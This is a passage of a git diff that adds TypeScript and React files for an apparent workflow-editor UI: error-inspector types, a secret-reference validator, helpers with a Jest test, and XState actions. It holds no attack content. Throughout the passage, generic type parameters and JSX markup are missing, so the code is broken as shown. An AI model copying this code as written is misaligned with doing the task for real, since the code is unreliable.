+ } +}; + +export const fetchSecretsEndEnvironmentsList = async ( + context: ErrorInspectorMachineContext, +) => { + const secrets = enabledAdvancedValidations ? await fetchSecrets(context) : []; + const envs = enabledAdvancedValidations + ? await getEnvVariables({ authHeaders: context.authHeaders! }) + : []; + return { secrets, envs }; +}; + +export function isValidNestedVariable( + arrayOfStrings: string[], + valueString: string, + variables?: string[], +): boolean { + // regex to check valid nested variables + const regex = /\${(?:[a-zA-Z0-9_.\-\\[\]]|\$\{[a-zA-Z0-9_.\-\\[\]]+\})+}/g; + + return ( + (valueString.match(regex) !== null && + valueString.match(regex)?.every((match) => { + const variablesFromMatch = + _nth(match.substring(2, match.length - 1).split(".${"), 0) ?? ""; + + const innerValue = match.substring(2, match.length - 1); + if (innerValue.includes(".${")) { + return isValidNestedVariable(arrayOfStrings, innerValue, [ + variablesFromMatch, + ]); + } + const parts = [...(variables ?? []), variablesFromMatch]; + const [outermostParent, ...children] = [...parts]; + return ( + outermostParent === "workflow.secrets" && + children.every((item) => arrayOfStrings.includes(item)) + ); + })) ?? + false + ); +} diff --git a/ui-next/src/pages/definition/errorInspector/state/types.ts b/ui-next/src/pages/definition/errorInspector/state/types.ts new file mode 100644 index 0000000..4137bfc --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/types.ts @@ -0,0 +1,287 @@ +import { NodeTaskData } from "components/features/flow/nodes/mapper"; +import { NodeData } from "reaflow"; +import { TaskDef, WorkflowDef, Crumb, CrumbMap, AuthHeaders } from "types"; +import { ImportSummary } from "utils/cloudTemplates"; + +export enum ErrorSeverity { + WARNING = "WARNING", + ERROR = "ERROR", +} + +export enum ErrorTypes { + WORKFLOW = "WORKFLOW", + TASK = "TASK", + SERVER_ERROR = "SERVER_ERROR", + RUN_ERROR = "RUN_ERROR", +} + +export enum ErrorIds { + TASK_TYPE_NOT_PRESENT = "task-type-not-present", + UNKNOWN_TASK_TYPE = "unknown-task-type", + TASK_REQUIRED_FIELD_MISSING = "task-required-field-missing", + TASK_REQUIRED_INPUT_PARAMETERS_MISSING = "task-required-input-parameters", + ALLOWED_VALUES = "non-allowed-values", + TYPE_ERROR = "type-error", + GUARDRAIL_CONFIG_INVALID = "guardrail-config-invalid", + GENERIC_ERROR = "generic-error", + FLOW_ERROR = "flow-error", + REFERENCE_PROBLEMS = "reference-problems", + UNREACHABLE_TASK = "unreachable-task", + SERIALIZATION_ERROR = "serialization-error", +} + +export enum ErrorInspectorEventTypes { + VALIDATE_WORKFLOW_STRING = "VALIDATE_WORKFLOW_STRING", + VALIDATE_WORKFLOW = "VALIDATE_WORKFLOW", + VALIDATE_SINGLE_TASK = "VALIDATE_SINGLE_TASK", + SINGLE_TASK_ERRORS = "SINGLE_TASK_ERRORS", + REPORT_SERVER_ERROR = "REPORT_SERVER_ERROR", + REPORT_FLOW_ERROR = "REPORT_FLOW_ERROR", + REPORT_RUN_ERROR = "REPORT_RUN_ERROR", + WORKFLOW_WITH_NO_ERRORS = "WORKFLOW_WITH_NO_ERRORS", + WORKFLOW_HAS_ERRORS = "WORKFLOW_HAS_ERRORS", + + TOGGLE_TASK_ERRORS_VIEWER = "TOGGLE_TASK_ERRORS_VIEWER", + TOGGLE_WORKFLOW_ERRORS_VIEWER = "TOGGLE_WORKFLOW_ERRORS_VIEWER", + + CLICK_REFERENCE = "CLICK_REFERENCE", + + CLEAN_SERVER_ERRORS = "CLEAN_SERVER_ERRORS", + CLEAN_RUN_ERRORS = "CLEAN_RUN_ERRORS", + CLEAN_SERIALIZATION_ERROR = "CLEAN_SERIALIZATION_ERROR", + + REMOVED_TASK_REFERENCES = "REMOVED_TASK_REFERENCES", + FLOW_FINISHED_RENDERING = "FLOW_FINISHED_RENDERING", + + SET_WORKFLOW = "SET_WORKFLOW", + + UPDATE_SECRETS = "UPDATE_SECRETS", + + TOGGLE_TASK_REFERENCE_ERRORS_VIEWER = "TOGGLE_TASK_REFERENCE_ERRORS_VIEWER", + TOGGLE_WORKFLOW_REFERENCE_ERRORS_VIEWER = "TOGGLE_WORKFLOW_REFERENCE_ERRORS_VIEWER", + + TOGGLE_ERROR_INSPECTOR = "TOGGLE_ERROR_INSPECTOR", + SET_ERROR_INSPECTOR_EXPANDED = "SET_ERROR_INSPECTOR_EXPANDED", + SET_ERROR_INSPECTOR_COLLAPSED = "SET_ERROR_INSPECTOR_COLLAPSED", + + JUMP_TO_FIRST_ERROR = "JUMP_TO_FIRST_ERROR", + + COLLAPSE_INSPECTOR_IF_NO_ERRORS = "COLLAPSE_INSPECTOR_IF_NO_ERRORS", +} + +export type ServerValidationError = { + message?: string; + path?: string; + invalidValue?: string; +}; + +export type TaskHistory = { + taskPath: string; + task: TaskDef; +}; +export type StoredValidationError = ServerValidationError & + Partial; +export interface ValidationError { + id: ErrorIds; + message: string; + hint?: string; + taskReferenceName?: string; + path?: string; + type: ErrorTypes; + severity: ErrorSeverity; + onClickReference?: (data: string) => void; + taskError?: any; + validationErrors?: Array; +} + +export interface TaskErrors { + task: TaskDef; + errors: ValidationError[]; +} + +export interface SchemaValidationResponse { + taskErrors: TaskErrors[]; + workflowErrors: ValidationError[]; + tab?: number; +} + +export interface SchemaStringValidationResponse extends SchemaValidationResponse { + currentWf?: Partial; +} + +export interface TaskWithUnknownReference { + task: TaskDef; + parameters: string[]; + expressions: string[]; + joinOn?: string[]; +} + +export interface ReferenceProblems { + workflowReferenceProblems: ValidationError[]; + taskReferencesProblems: TaskErrors[]; + unreachableTaskProblems: TaskErrors[]; +} + +export interface ErrorInspectorMachineContext + extends SchemaValidationResponse, ReferenceProblems { + currentWf?: Partial; + serverErrors: ValidationError[]; + runWorkflowErrors: ValidationError[]; + crumbMap?: CrumbMap; + secrets?: Record[]; + envs?: Record; + authHeaders?: AuthHeaders; + expanded?: boolean; + importSummary?: ImportSummary; +} + +export type ValidateWorkflowStringEvent = { + type: ErrorInspectorEventTypes.VALIDATE_WORKFLOW_STRING; + workflowChanges: string; +}; + +export type ValidateWorkflowEvent = { + type: ErrorInspectorEventTypes.VALIDATE_WORKFLOW; + workflow: Partial; +}; + +export type UpdateSecretsEvent = { + type: ErrorInspectorEventTypes.UPDATE_SECRETS; + data?: { secrets: Record[]; envs: Record }; +}; + +export type WorkflowWithNoErrorsEvent = { + type: ErrorInspectorEventTypes.WORKFLOW_WITH_NO_ERRORS; + workflow: WorkflowDef; +}; + +export type WorkflowHasErrorsEvent = { + type: ErrorInspectorEventTypes.WORKFLOW_HAS_ERRORS; + errors: SchemaValidationResponse; + workflow: WorkflowDef; +}; + +export type FlowReportedErrorEvent = { + type: ErrorInspectorEventTypes.REPORT_FLOW_ERROR; + text: string; +}; + +export type ReportRunErrorEvent = { + type: ErrorInspectorEventTypes.REPORT_RUN_ERROR; + text: string; +}; + +export type ReportServerErrorEvent = { + type: ErrorInspectorEventTypes.REPORT_SERVER_ERROR; + text: string; + validationErrors?: ServerValidationError[]; +}; + +export type ValidateSingleTaskEvent = { + type: ErrorInspectorEventTypes.VALIDATE_SINGLE_TASK; + task: TaskDef; +}; + +export type FlowFinishedRenderingEvent = { + type: ErrorInspectorEventTypes.FLOW_FINISHED_RENDERING; + nodes: NodeData>[]; +}; + +export interface TaskReferenceReportingParameters { + existingTaskReferences: string[]; + lastTaskRoute: TaskDef[]; +} + +export type ReportTaskReferencesEvent = { + type: ErrorInspectorEventTypes.REMOVED_TASK_REFERENCES; + removedTask: TaskDef; + lastTaskCrumbs: Crumb[]; + workflow: Partial; +}; + +export type SetWorkflowEvent = { + type: ErrorInspectorEventTypes.SET_WORKFLOW; + workflow: Partial; +}; + +export type ToggleTaskErrorViewerEvent = { + type: ErrorInspectorEventTypes.TOGGLE_TASK_ERRORS_VIEWER; +}; + +export type ToggleWorkflowErrorViewerEvent = { + type: ErrorInspectorEventTypes.TOGGLE_WORKFLOW_ERRORS_VIEWER; +}; + +export type ToggleClickReference = { + type: ErrorInspectorEventTypes.CLICK_REFERENCE; + referenceText: string; +}; + +export type ToggleTaskReferenceErrorViewerEvent = { + type: ErrorInspectorEventTypes.TOGGLE_TASK_REFERENCE_ERRORS_VIEWER; +}; + +export type ToggleWorkflowReferenceErrorViewerEvent = { + type: ErrorInspectorEventTypes.TOGGLE_WORKFLOW_REFERENCE_ERRORS_VIEWER; +}; + +export type CleanServerErrorsEvent = { + type: ErrorInspectorEventTypes.CLEAN_SERVER_ERRORS; +}; + +export type CleanSerializationErrorEvent = { + type: ErrorInspectorEventTypes.CLEAN_SERIALIZATION_ERROR; +}; + +export type CleanRunErrorsEvent = { + type: ErrorInspectorEventTypes.CLEAN_RUN_ERRORS; +}; + +export type ToggleErrorInspectorEvent = { + type: ErrorInspectorEventTypes.TOGGLE_ERROR_INSPECTOR; +}; + +export type SetErrorInspectorExpandedEvent = { + type: ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_EXPANDED; +}; + +export type SetErrorInspectorCollapsedEvent = { + type: ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_COLLAPSED; +}; + +export interface RefractorObject { + [key: string]: string; +} + +export type JumpToFirstErrorEvent = { + type: ErrorInspectorEventTypes.JUMP_TO_FIRST_ERROR; +}; + +export type CollapseInspectorIfNoErrorsEvent = { + type: ErrorInspectorEventTypes.COLLAPSE_INSPECTOR_IF_NO_ERRORS; +}; + +export type ErrorInspectorMachineEvents = + | ReportTaskReferencesEvent + | ValidateWorkflowStringEvent + | FlowReportedErrorEvent + | ToggleTaskReferenceErrorViewerEvent + | ToggleWorkflowReferenceErrorViewerEvent + | FlowFinishedRenderingEvent + | CleanServerErrorsEvent + | ReportServerErrorEvent + | ToggleTaskErrorViewerEvent + | ToggleWorkflowErrorViewerEvent + | ValidateWorkflowEvent + | SetWorkflowEvent + | ValidateSingleTaskEvent + | UpdateSecretsEvent + | ToggleClickReference + | ToggleErrorInspectorEvent + | SetErrorInspectorExpandedEvent + | JumpToFirstErrorEvent + | SetErrorInspectorCollapsedEvent + | ReportRunErrorEvent + | CleanRunErrorsEvent + | CleanSerializationErrorEvent + | CollapseInspectorIfNoErrorsEvent; diff --git a/ui-next/src/pages/definition/helper.test.ts b/ui-next/src/pages/definition/helper.test.ts new file mode 100644 index 0000000..f595d7b --- /dev/null +++ b/ui-next/src/pages/definition/helper.test.ts @@ -0,0 +1,115 @@ +import { TaskDef } from "types/common"; +import { extractVariablesFromTask } from "./helpers"; + +const tasks = [ + { + name: "set_variable", + taskReferenceName: "set_variable_ref", + type: "SET_VARIABLE", + inputParameters: { + name: "Orkes", + }, + }, + { + name: "query_processor", + taskReferenceName: "query_processor_ref", + inputParameters: { + workflowNames: [], + statuses: ["FAILED"], + correlationIds: [], + queryType: "CONDUCTOR_API", + freeText: "automation test", + }, + type: "QUERY_PROCESSOR", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + expression: + "(function(){ \n const nameAndVersions = $.results.map(({workflowType,version})=>({name:workflowType,version})); \n return nameAndVersions;\n })();", + evaluatorType: "graaljs", + results: "${query_processor_ref.output.result.workflows}", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, +]; + +const taskWithoutVariables = [ + { + name: "query_processor", + taskReferenceName: "query_processor_ref", + inputParameters: { + workflowNames: [], + statuses: ["FAILED"], + correlationIds: [], + queryType: "CONDUCTOR_API", + freeText: "automation test", + }, + type: "QUERY_PROCESSOR", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + expression: + "(function(){ \n const nameAndVersions = $.results.map(({workflowType,version})=>({name:workflowType,version})); \n return nameAndVersions;\n })();", + evaluatorType: "graaljs", + results: "${query_processor_ref.output.result.workflows}", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, +]; + +describe("extractVariablesFromTask", () => { + it("Extract variables from tasks with set variable tasks", () => { + const result = extractVariablesFromTask(tasks as unknown as TaskDef[]); + expect(result).toEqual(["name"]); + }); + it("Extract variables from tasks without set variable tasks", () => { + const result = extractVariablesFromTask( + taskWithoutVariables as unknown as TaskDef[], + ); + expect(result).toEqual([]); + }); +}); diff --git a/ui-next/src/pages/definition/helpers.ts b/ui-next/src/pages/definition/helpers.ts new file mode 100644 index 0000000..a82f490 --- /dev/null +++ b/ui-next/src/pages/definition/helpers.ts @@ -0,0 +1,61 @@ +import _pick from "lodash/pick"; +import { InlineTaskInputParameters } from "types/TaskType"; +import { WorkflowDef, WorkflowMetadataI } from "types/WorkflowDef"; +import _keys from "lodash/keys"; +import _difference from "lodash/difference"; +import { TaskDef, TaskType } from "types/common"; + +export const extractWorkflowMetadata = (workflow: Partial) => + _pick(workflow, [ + "name", + "description", + "version", + "restartable", + "workflowStatusListenerEnabled", + "timeoutSeconds", + "timeoutPolicy", + "failureWorkflow", + "ownerEmail", + "updateTime", + "inputParameters", + "outputParameters", + "inputSchema", + "outputSchema", + "enforceSchema", + "tasks", + "workflowStatusListenerSink", + "rateLimitConfig", + "metadata", + ]) as Partial; + +export const undeclaredInputParameters = ( + inputString: string, + taskInputParams?: InlineTaskInputParameters | Record, +) => { + const matchedVariables = inputString.match(/(?<=\$\.)\w+/g); + const inputParameters = _keys(taskInputParams); + let addedInputParameters: string[] = []; + if (matchedVariables) { + addedInputParameters = _difference(matchedVariables, inputParameters); + } + return addedInputParameters; +}; + +export const invalidDollarVariables = (inputString: string) => { + const regex = /\$(?:\.\$)*\.[\w$]+(?=[\s;\n])/g; + const matches = inputString.match(regex); + const filteredMatches = matches?.filter( + (match: any) => (match.match(/\$/g) || []).length > 1, + ); + return filteredMatches ?? []; +}; + +export const extractVariablesFromTask = (tasksInCrumbBranch: TaskDef[]) => { + const setVariableInputs = tasksInCrumbBranch.reduce((acc, task) => { + if (task?.type === TaskType.SET_VARIABLE) { + Object.assign(acc, task?.inputParameters || {}); + } + return acc; + }, {}); + return Object.keys(setVariableInputs); +}; diff --git a/ui-next/src/pages/definition/progressicons.jsx b/ui-next/src/pages/definition/progressicons.jsx new file mode 100644 index 0000000..9b262f0 --- /dev/null +++ b/ui-next/src/pages/definition/progressicons.jsx @@ -0,0 +1,21 @@ +const style = { + stroke: "#0971f1", + strokeDasharray: 93, + strokeDashoffset: 93, + strokeWidth: 2, + fill: "transparent", +}; +export default function ProgressIcon() { + return ( + + + + + + ); +} diff --git a/ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditContext.tsx b/ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditContext.tsx new file mode 100644 index 0000000..8c01e1d --- /dev/null +++ b/ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditContext.tsx @@ -0,0 +1,6 @@ +import { createContext } from "react"; +import { WorkflowEditContextProps } from "./types"; + +export const WorkflowEditContext = createContext({ + workflowDefinitionActor: undefined, +}); diff --git a/ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditProvider.tsx b/ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditProvider.tsx new file mode 100644 index 0000000..8abac76 --- /dev/null +++ b/ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditProvider.tsx @@ -0,0 +1,21 @@ +import { FunctionComponent, ReactNode } from "react"; +import { ActorRef } from "xstate"; +import { WorkflowDefinitionEvents } from "../types"; +import { WorkflowEditContext } from "./WorkflowEditContext"; + +interface WorkflowEditContextProps { + workflowDefinitionActor?: ActorRef; + children?: ReactNode; +} + +export const FlowEditContextProvider: FunctionComponent< + WorkflowEditContextProps +> = ({ workflowDefinitionActor, children }) => ( + + {children} + +); diff --git a/ui-next/src/pages/definition/state/WorkflowEditContext/index.ts b/ui-next/src/pages/definition/state/WorkflowEditContext/index.ts new file mode 100644 index 0000000..d7d6c0a --- /dev/null +++ b/ui-next/src/pages/definition/state/WorkflowEditContext/index.ts @@ -0,0 +1,2 @@ +export * from "./WorkflowEditContext"; +export * from "./WorkflowEditProvider"; diff --git a/ui-next/src/pages/definition/state/WorkflowEditContext/types.ts b/ui-next/src/pages/definition/state/WorkflowEditContext/types.ts new file mode 100644 index 0000000..20dfe45 --- /dev/null +++ b/ui-next/src/pages/definition/state/WorkflowEditContext/types.ts @@ -0,0 +1,8 @@ +import { ReactNode } from "react"; +import { ActorRef } from "xstate"; +import { WorkflowDefinitionEvents } from "../types"; + +export interface WorkflowEditContextProps { + workflowDefinitionActor?: ActorRef; + children?: ReactNode; +} diff --git a/ui-next/src/pages/definition/state/action.ts b/ui-next/src/pages/definition/state/action.ts new file mode 100644 index 0000000..45e57a7 --- /dev/null +++ b/ui-next/src/pages/definition/state/action.ts @@ -0,0 +1,1154 @@ +import { FlowActionTypes, FlowEvents } from "components/features/flow/state"; +import _first from "lodash/first"; +import _has from "lodash/has"; +import _isNil from "lodash/isNil"; +import _last from "lodash/last"; +import { newWorkflowTemplate } from "templates/JSONSchemaWorkflow"; +import { WorkflowDef } from "types/WorkflowDef"; +import { + adjust, + defaultValueFromSchema, + flattenGtagObject, + getSequentiallySuffix, + gtagAbstract, + logger, +} from "utils"; +import { ActorRef, assign, DoneInvokeEvent, forwardTo } from "xstate"; +import { choose, log, pure, raise, sendTo } from "xstate/lib/actions"; +import { + ErrorInspectorEventTypes, + ErrorInspectorMachineEvents, + WorkflowWithNoErrorsEvent, +} from "../errorInspector/state"; +import { + CODE_TAB, + RUN_TAB, + SEVERITY_ERROR, + TASK_TAB, + WORKFLOW_TAB, +} from "./constants"; +import { + ADD_NEW_SWITCH_PATH, + performOperation as applyWorkflowOperation, + DELETE_TASK, + moveTask, + positionIdentifier, + REMOVE_BRANCH, + REPLACE_TASK, +} from "./taskModifier"; +import { + AddNewSwitchTaskEvent, + ChangeTabEvent, + ChangeVersionEvent, + DefinitionMachineContext, + DefinitionMachineEventTypes, + DeleteRequestEvent, + DONT_SHOW_IMPORT_SUCCESSFUL_DIALOG_TUTORIAL_AGAIN, + HandleLeftPanelExpandedEvent, + HandleSaveAndCreateNewEvent, + HandleSaveAndRunEvent, + LeftPaneTabs, + MoveTaskEvent, + PerformOperationEvent, + RemoveBranchFromTaskEvent, + RemoveTaskEvent, + ReplaceTaskEvent, + ResetRequestEvent, + SaveAndCreateNewRequestEvent, + SaveAndRunRequestEvent, + SaveAsNewVersionRequestEvent, + SyncRunContextAndChangeTabEvent, + ToggleAgentExpandedEvent, + UpdateAttributesEvent, + UpdateWorkflowMetadataEvent, + WorkflowFromAgentEvent, +} from "./types"; + +import { JsonSchema } from "@jsonforms/core"; +import { crumbsToTask } from "components/features/flow/nodes"; +import _isEmpty from "lodash/isEmpty"; +import { CommonTaskDef } from "types/TaskType"; +import { ImportSummary } from "utils/cloudTemplates"; +import { SWITCH_CASE_PREFIX } from "utils/constants/switch"; +import { + LocalCopyMachineEventTypes, + UseLocalCopyChangesEvent, +} from "../ConfirmLocalCopyDialog/state"; +import { SavedSuccessfulEvent } from "../confirmSave/state"; +import { + CodeMachineEventTypes, + HighlightTextReferenceEvent, +} from "../EditorPanel/CodeEditorTab/state"; +import { + FormMachineActionTypes, + TaskFormEvents, +} from "../EditorPanel/TaskFormTab/state"; +import { RunMachineEvents, RunMachineEventsTypes } from "../RunWorkflow/state"; +import { + WorkflowMetadataEvents, + WorkflowMetadataMachineEventTypes, +} from "../WorkflowMetadata/state"; +export const persistWorkflowAttribs = assign< + DefinitionMachineContext, + UpdateAttributesEvent +>( + ( + context: DefinitionMachineContext, + { + isNewWorkflow, + workflowName, + currentVersion, + workflowTemplateId, + preserveWorkflowChanges, + }: UpdateAttributesEvent, + ) => { + const newWorkflowDefinition: Partial = newWorkflowTemplate( + context.currentUserInfo?.id || "example@email.com", + ) as unknown as Partial; + const currentWf = isNewWorkflow ? newWorkflowDefinition : {}; + + // After a successful save the machine raises UPDATE_ATTRIBS_EVT to trigger a + // version refetch. Without this guard `workflowChanges` would be cleared to {} + // for the duration of that async fetch, causing the agent to see an empty + // workflow and ask the user for task reference names it already knows. + const workflowChanges = + preserveWorkflowChanges && !isNewWorkflow && context.workflowChanges + ? context.workflowChanges + : currentWf; + + return { + isNewWorkflow, + workflowName, + currentWf, + workflowChanges, + currentVersion, + workflowTemplateId, + // Keep agent collapsed by default to improve initial page load performance + isAgentExpanded: context.isAgentExpanded ?? false, + }; + }, +); + +export const updateWf = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ workflow: WorkflowDef }> +>(({ workflowChanges }, { data }) => { + return { + currentWf: data?.workflow, + // Because of reading workflow from local storage 1st + workflowChanges: _isEmpty(workflowChanges) + ? data?.workflow + : workflowChanges, + }; +}); + +export const updateWfDefaultRunParam = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ schema: JsonSchema }> +>((_context, { data }) => { + const sanitizedDefaults = defaultValueFromSchema(data?.schema); + return { + workflowDefaultRunParam: sanitizedDefaults, + }; +}); + +export const updateSecretsAndEnvs = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ + secrets: Record[]; + envs: Record; + }> +>((_, { data }) => { + return { + secrets: data.secrets, + envs: data.envs, + }; +}); + +export const resetChanges = assign({ + workflowChanges: ({ currentWf }, __) => currentWf, +}); + +export const updateCollapseWorkflowList = assign( + (context, event) => { + return { + collapseWorkflowList: event?.collapseWorkflowList, + }; + }, +); + +export const setVersion = assign({ + currentVersion: (_currentVersion, { version }) => version, +}); + +export const resetCurrentVersion = assign((_ctx, _event) => { + return { + currentVersion: null, + }; +}); + +export const setMessage = assign({ + message: (_ctx, messageObj) => messageObj, +}); + +export const processErrorFetching = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ message: string }> +>((__, { data }) => ({ + message: { + text: data.message, + severity: SEVERITY_ERROR, + }, +})); + +export const resetMessage = assign((_ctx, __evt) => { + return { + message: { + text: undefined, + severity: undefined, + }, + }; +}); + +export const notifyFlowUpdates = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("flowMachine", (ctx) => { + return { + type: FlowActionTypes.UPDATE_WF_DEFINITION_EVT, + workflow: ctx.workflowChanges, + cleanNodeSelection: ctx.selectedTaskCrumbs.length === 0, + }; +}); + +// Special version for agent updates that reads workflow directly from event +// instead of context, to avoid XState assign timing issues +export const notifyFlowUpdatesFromEvent = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("flowMachine", (ctx, event) => { + return { + type: FlowActionTypes.UPDATE_WF_DEFINITION_EVT, + workflow: event.workflow, + cleanNodeSelection: ctx.selectedTaskCrumbs.length === 0, + }; +}); + +export const forwardCollapseWorkflowList = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("flowMachine", (ctx, event) => { + return { + type: FlowActionTypes.UPDATE_COLLAPSE_WORKFLOW_LIST, + workflowName: event.workflowName, + }; +}); + +export const notifyFlowResetZoomPosition = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("flowMachine", (_ctx) => { + return { + type: FlowActionTypes.RESET_ZOOM_POSITION, + }; +}); + +export const setFlowAsReadOnly = sendTo("flowMachine", (_ctx) => { + return { + type: FlowActionTypes.SET_READ_ONLY_EVT, + }; +}); + +export const changeTab = assign< + DefinitionMachineContext, + ChangeTabEvent | SyncRunContextAndChangeTabEvent +>({ + openedTab: (_context, event) => + "data" in event ? event.data.originalEvent.tab : event.tab, + previousTab: ({ openedTab }, _) => openedTab, + // Collapse assistant on any tab click (Workflow, Task, Code, Run, Dependencies, …) + isAgentExpanded: false, +}); + +export const changeToCodeTab = assign({ + openedTab: CODE_TAB, + previousTab: ({ openedTab }: DefinitionMachineContext, _event) => openedTab, + isAgentExpanded: false, +}); + +export const changeToTaskTab = assign({ + openedTab: TASK_TAB, + previousTab: ({ openedTab }: DefinitionMachineContext, _event) => openedTab, + isAgentExpanded: false, +}); + +export const changeToPreviousTab = assign({ + openedTab: ({ previousTab, openedTab }: DefinitionMachineContext) => + previousTab === openedTab ? LeftPaneTabs.WORKFLOW_TAB : previousTab, + isAgentExpanded: false, +}); + +export const performOperation = assign< + DefinitionMachineContext, + PerformOperationEvent +>({ + workflowChanges: (context, { data, operation }) => { + const workflowAfterChanges = applyWorkflowOperation({ + workflow: context.workflowChanges, + crumbs: data.crumbs, + taskDef: data.task, + operation: { + type: data.action, + ...operation, + }, + }); + return workflowAfterChanges; + }, +}); + +export const replaceTask = assign({ + workflowChanges: (context, { task, crumbs, newTask }) => { + const workflowAfterChanges = applyWorkflowOperation({ + workflow: context?.workflowChanges, + crumbs, + taskDef: task, + operation: { + type: REPLACE_TASK, + payload: newTask, + }, + }); + return workflowAfterChanges; + }, +}); + +// export const cancelDebounceEditChanges = cancel("debounce_edit_event"); + +export const removeTask = assign({ + workflowChanges: (context, { task, crumbs }) => { + const workflowAfterChanges = applyWorkflowOperation({ + workflow: context?.workflowChanges, + crumbs, + taskDef: task, + operation: { + type: DELETE_TASK, + payload: {}, + }, + }); + return workflowAfterChanges; + }, +}); + +export const addNewSwitchStatementToTask = assign< + DefinitionMachineContext, + AddNewSwitchTaskEvent +>({ + workflowChanges: (context, { task, crumbs }) => { + const currentPathNames = task.decisionCases + ? Object.keys(task.decisionCases) + : []; + + const workflowAfterChanges = applyWorkflowOperation({ + workflow: context?.workflowChanges, + crumbs, + taskDef: task, + operation: { + type: ADD_NEW_SWITCH_PATH, + payload: { + branchName: getSequentiallySuffix({ + name: SWITCH_CASE_PREFIX, + refNames: currentPathNames, + }).name, + }, + }, + }); + return workflowAfterChanges; + }, +}); + +export const removeBranchFromTask = assign< + DefinitionMachineContext, + RemoveBranchFromTaskEvent +>({ + workflowChanges: (context) => { + const { workflowChanges, lastRemovalOperation } = context; + const { crumbs, task, branchName } = lastRemovalOperation!; + const workflowAfterChanges = applyWorkflowOperation({ + workflow: workflowChanges, + crumbs, + taskDef: task, + operation: { + type: REMOVE_BRANCH, + payload: { + branchName, + }, + }, + }); + return workflowAfterChanges; + }, +}); + +export const updateWFMetadata = assign< + DefinitionMachineContext, + UpdateWorkflowMetadataEvent +>({ + workflowChanges: (context, { workflowMetadata }) => { + const updatedWf: Partial = { + ...context.workflowChanges, + ...workflowMetadata, + }; + return updatedWf; + }, +}); + +export const forwardToCodeMachine = forwardTo("codeMachine"); + +export const forwardToSaveMachine = forwardTo("saveChangesMachine"); + +export const selectNewTask = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("flowMachine", ({ lastPerformedOperation: operation }, _) => { + return { + type: FlowActionTypes.SELECT_NODE_EVT, + node: { + id: (Array.isArray(operation?.payload) + ? (_first(operation?.payload) as CommonTaskDef | undefined) + ?.taskReferenceName + : operation?.payload?.taskReferenceName)!, + }, + }; +}); + +export const cleanLastOperation = assign({ + lastPerformedOperation: undefined, +}); + +export const cleanTaskCrumbSelection = assign({ + selectedTaskCrumbs: [], +}); + +export const updateSelectedCrumbs = assign< + DefinitionMachineContext, + ReplaceTaskEvent +>({ + selectedTaskCrumbs: ({ selectedTaskCrumbs }, { newTask }) => { + return adjust( + selectedTaskCrumbs.length - 1, + () => ({ + ..._last(selectedTaskCrumbs), + ref: newTask.taskReferenceName, + }), + selectedTaskCrumbs, + ); + }, +}); + +export const persistLastOperation = assign< + DefinitionMachineContext, + PerformOperationEvent +>({ + lastPerformedOperation: (context, event) => { + return event.operation; + }, +}); + +export const validateWorkflow = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("errorInspectorMachine", ({ workflowChanges }) => { + return { + type: ErrorInspectorEventTypes.VALIDATE_WORKFLOW, + workflow: workflowChanges || {}, + }; +}); + +export const forwardCleanWorkflow = sendTo< + DefinitionMachineContext, + WorkflowWithNoErrorsEvent, + ActorRef +>("flowMachine", (_ctx, { workflow }) => { + return { + type: FlowActionTypes.UPDATE_WF_DEFINITION_EVT, + workflow, + cleanNodeSelection: false, + }; +}); + +export const sendCrumbUpdates = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("formTaskMachine", (ctx) => { + return { + type: FormMachineActionTypes.UPDATE_CRUMBS, + crumbs: ctx.selectedTaskCrumbs, + task: crumbsToTask( + ctx.selectedTaskCrumbs, + ctx.workflowChanges?.tasks || [], + ), + }; +}); + +/** + * After AI updates, context.workflowChanges is fresh but formTaskMachine still + * holds stale taskChanges. Send FORCE_REFRESH_TASK (not UPDATE_CRUMBS — that + * one ignores non-SWITCH/DO_WHILE tasks via maybeUseChanges) so the form + * immediately reflects the agent's changes. Read from event.workflow to avoid + * XState v4 assign/sendTo ordering issues (assign updates context for the next + * snapshot, so sendTo in the same transition still sees the old context). + */ +export const syncTaskFormWithAgentWorkflow = choose< + DefinitionMachineContext, + WorkflowFromAgentEvent +>([ + { + cond: (ctx, event) => + ctx.openedTab === TASK_TAB && + !_isEmpty(ctx.selectedTaskCrumbs) && + Array.isArray(event.workflow?.tasks), + actions: [ + sendTo< + DefinitionMachineContext, + WorkflowFromAgentEvent, + ActorRef + >("formTaskMachine", (ctx, event) => ({ + type: FormMachineActionTypes.FORCE_REFRESH_TASK, + crumbs: ctx.selectedTaskCrumbs, + task: crumbsToTask( + ctx.selectedTaskCrumbs, + (event.workflow.tasks as any[]) || [], + ), + })), + ], + }, + { actions: [() => undefined] }, +]); + +export const persistSelectedTabCrumbs = assign( + (_, event) => { + return { + selectedTaskCrumbs: event?.node?.data?.crumbs, + }; + }, 